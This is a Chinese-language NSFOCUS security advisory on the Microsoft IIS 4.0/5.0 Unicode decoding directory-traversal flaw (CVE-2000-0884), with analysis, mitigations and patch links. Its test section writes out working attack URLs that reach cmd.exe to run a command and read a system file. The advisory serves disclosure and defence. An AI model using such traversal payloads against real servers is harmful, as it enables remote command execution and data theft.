首页 -> 安全研究

安全研究

安全公告
绿盟科技安全公告(SA2000-06)

NSFOCUS安全小组(security@nsfocus.com)
http://www.nsfocus.com

Microsoft IIS Unicode解码目录遍历漏洞

发布日期:2000-10-20

CVE ID:CVE-2000-0884

受影响的软件及系统:
====================
- Microsoft IIS 4.0
- Microsoft IIS 5.0

综述:
======
NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

分析:
======
对于IIS 5.0/4.0中文版,当IIS收到的URL请求的文件名中包含一个特殊的编码例如"%c1%hh"或者"%c0%hh",它会首先将其解码变成:0xc10xhh, 然后尝试打开这个文件,Windows 系统认为0xc10xhh可能是unicode编码,因此它会首先将其解码,如果 0x00<= %hh < 0x40的话,采用的解码的格式与下面的格式类似:

%c1%hh -> (0xc1 - 0xc0) * 0x40 + 0xhh
%c0%hh -> (0xc0 - 0xc0) * 0x40 + 0xhh


例如,在Windows 2000 简体中文版 + IIS 5.0 + SP1系统下测试:

http://target/A.ida/%c1%00.ida

IIS会报告说 "@.ida" 文件找不到
这里: (0xc1-0xc0)*0x40+0x00=0x40='@'

http://target/A.ida/%c1%01.ida
IIS会报告说 "A.ida" 文件找不到
这里: (0xc1-0xc0)*0x40+0x01=0x41='A'

http://target/A.ida/%c1%02.ida
IIS会报告说 "B.ida" 文件找不到
这里: (0xc1-0xc0)*0x40+0x02=0x42='B'
.....

http://target/A.ida/%c0%21.ida
IIS会报告说 "!.ida" 文件找不到
这里: (0xc0-0xc0)*0x40+0x21=0x21='!'
....

因此,利用这种编码,我们可以构造很多字符,例如:

%c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

攻击者可以利用这个漏洞来绕过IIS的路径检查,去执行或者打开任意的文件。

Rain Forest Puppy 测试发现对于英文版的IIS 4.0/5.0,此问题同样存在,只是编码格式略有不同,变成"%c0%af"或者"%c1%9c".

测试方法:
==========
(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:

http://www.victim.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

(2) 利用这个漏洞查看系统文件内容也是可能的:

http://www.victim.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

解决方法:
==========
1、如果不需要可执行的CGI,可以删除可执行虚拟目录,例如 /scripts等等。
2、如果确实需要可执行的虚拟目录,建议可执行虚拟目录单独在一个分区。

厂商状态:
==========
微软已就此发布了一个安全公告(MS00-078) 以及相应补丁。

您可以在下列地址看到微软安全公告的详细内容:

http://www.microsoft.com/technet/security/bulletin/ms00-078.asp

补丁程序可以在下列地址下载:

. Microsoft IIS 4.0:

http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.asp

. Microsoft IIS 5.0:

http://www.microsoft.com/windows2000/downloads/critical/q269862/default.asp

注意:这个补丁程序与MS00-57中所提供的补丁是同一个程序,如果您已经安装了MS00-57中的补丁,您可以不用再重新安装此补丁程序。

声 明
==========

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技
============

绿盟科技(NSFOCUS Co., Ltd.)是中国网络安全领域的领导企业,致力于网络和系统安全问题的研究、高端网络安全产品的研发、销售与网络安全服务,在入侵检测/保护、远程评估、 DDoS攻击防护等方面提供具有国际竞争能力的先进产品,是国内最具安全服务经验的专业公司。有关绿盟科技的详情请参见: http://www.nsfocus.com

© 2019 绿盟科技